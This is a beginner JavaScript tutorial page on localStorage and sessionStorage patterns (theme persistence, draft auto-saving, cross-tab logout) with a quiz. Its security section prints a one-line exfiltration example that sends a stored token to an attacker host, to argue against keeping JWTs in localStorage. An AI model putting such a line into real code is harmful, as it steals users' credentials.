Practical Use Cases0%

Practical Use Cases

Beginner12 min read•Updated: Jul 11, 2026
Study Materials

Practical Use Cases for Web Storage in Modern JavaScript

Theoretical knowledge of localStorage and sessionStorage becomes powerful when applied to real-world frontend challenges. In this tutorial, we implement three production-grade features: dark mode theme persistence, form draft auto-saving, and tab synchronization.


1. Pattern 1: Dark Mode Theme Persistence (No Flash of Wrong Theme)

A frequent bug in theme switchers is the Flash of Incorrect Theme (FOIT)—where a white screen flashes briefly before JavaScript reads localStorage.

The Solution: Synchronous Head Script

HTML
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8" />
<title>Theme Persistence</title>
<!-- CRITICAL: Inline script in head runs before body is rendered! -->
<script>
(function() {
const savedTheme = localStorage.getItem('app-theme');
const prefersDark = window.matchMedia('(prefers-color-scheme: dark)').matches;
const theme = savedTheme || (prefersDark ? 'dark' : 'light');
document.documentElement.setAttribute('data-theme', theme);
})();
</script>
<link rel="stylesheet" href="styles.css" />
</head>
<body>
<button id="theme-toggle">Toggle Theme</button>
<script src="app.js"></script>
</body>
</html>
JavaScript
// app.js: Interactive toggle logic
const toggleBtn = document.querySelector('#theme-toggle');
 
toggleBtn.addEventListener('click', () => {
const currentTheme = document.documentElement.getAttribute('data-theme');
const nextTheme = currentTheme === 'dark' ? 'light' : 'dark';
 
document.documentElement.setAttribute('data-theme', nextTheme);
localStorage.setItem('app-theme', nextTheme);
});

2. Pattern 2: Form Draft Auto-Saver (Debounced)

Prevent user frustration from accidental page reloads or crashes by auto-saving long textareas into sessionStorage or localStorage:

JavaScript
class DraftAutoSaver {
constructor(formSelector, storageKey) {
this.form = document.querySelector(formSelector);
this.storageKey = storageKey;
this.debounceTimer = null;
 
this.restoreDraft();
this.attachListeners();
}
 
attachListeners() {
this.form.addEventListener('input', () => {
clearTimeout(this.debounceTimer);
// Debounce: save 500ms after user stops typing
this.debounceTimer = setTimeout(() => this.saveDraft(), 500);
});
 
this.form.addEventListener('submit', () => {
// Clear draft once successfully submitted!
localStorage.removeItem(this.storageKey);
});
}
 
saveDraft() {
const formData = new FormData(this.form);
const data = Object.fromEntries(formData.entries());
localStorage.setItem(this.storageKey, JSON.stringify(data));
console.log('Draft auto-saved to localStorage.');
}
 
restoreDraft() {
const saved = localStorage.getItem(this.storageKey);
if (!saved) return;
 
try {
const data = JSON.parse(saved);
Object.entries(data).forEach(([name, value]) => {
const input = this.form.elements[name];
if (input) input.value = value;
});
console.log('Previous draft restored successfully.');
} catch (e) {
console.error('Failed to restore draft:', e);
}
}
}
 
// Instantiate
new DraftAutoSaver('#comment-form', 'draft_comment_post_104');

3. Pattern 3: Cross-Tab Logout Synchronization

When a user logs out in one tab, all other open tabs in the browser should immediately detect the logout and redirect to the login screen for security:

JavaScript
// When logout button is clicked in ANY tab:
function performLogout() {
// Update storage key with timestamp to ensure storage event triggers
localStorage.setItem('session_logout_event', Date.now().toString());
localStorage.removeItem('auth_user_token');
window.location.href = '/login';
}
 
// In ALL tabs (listening for changes from other tabs):
window.addEventListener('storage', (event) => {
if (event.key === 'session_logout_event') {
console.warn('Logout detected in another tab. Redirecting...');
window.location.href = '/login?reason=remote_logout';
}
});

4. Security Warning: Why NEVER Store Sensitive JWTs in LocalStorage!

localStorage has no protection against Cross-Site Scripting (XSS). Any malicious third-party script injected via an NPM dependency, browser extension, or CDN can read your storage:

JavaScript
// Any injected script can steal your tokens in one line:
fetch('https://attacker.com/steal?token=' + localStorage.getItem('token'));

Production Best Practice:

  • Sensitive Auth Tokens: Store in HttpOnly, Secure, SameSite=Strict cookies (inaccessible to JavaScript).
  • LocalStorage: Store only non-sensitive UI state, themes, language preferences, and form drafts.

Interactive Quiz

Practice Quiz

Question 1
How can you prevent "Flash of Incorrect Theme" (FOIT) when persisting a dark theme in localStorage?
Question 2
Why is debouncing used when auto-saving form inputs to localStorage?
Question 3
Why should sensitive authentication tokens (like bank or session JWTs) NOT be stored in localStorage?
Question 4
When a form is successfully submitted, what should happen to its saved draft in localStorage?
Question 5
How can a web application instantly log out a user across 5 open tabs when they click "Logout" in one tab?
Next Lesson

Understanding Iterators

Continue learning with hands-on practice, examples, and exercises in the upcoming topic.

Related Lessons

Previous LessonNext Lesson
SessionStorageUnderstanding Iterators

Practice Quiz

Test your understanding of this lesson with 5 questions. Each question has one correct answer.

PrevNext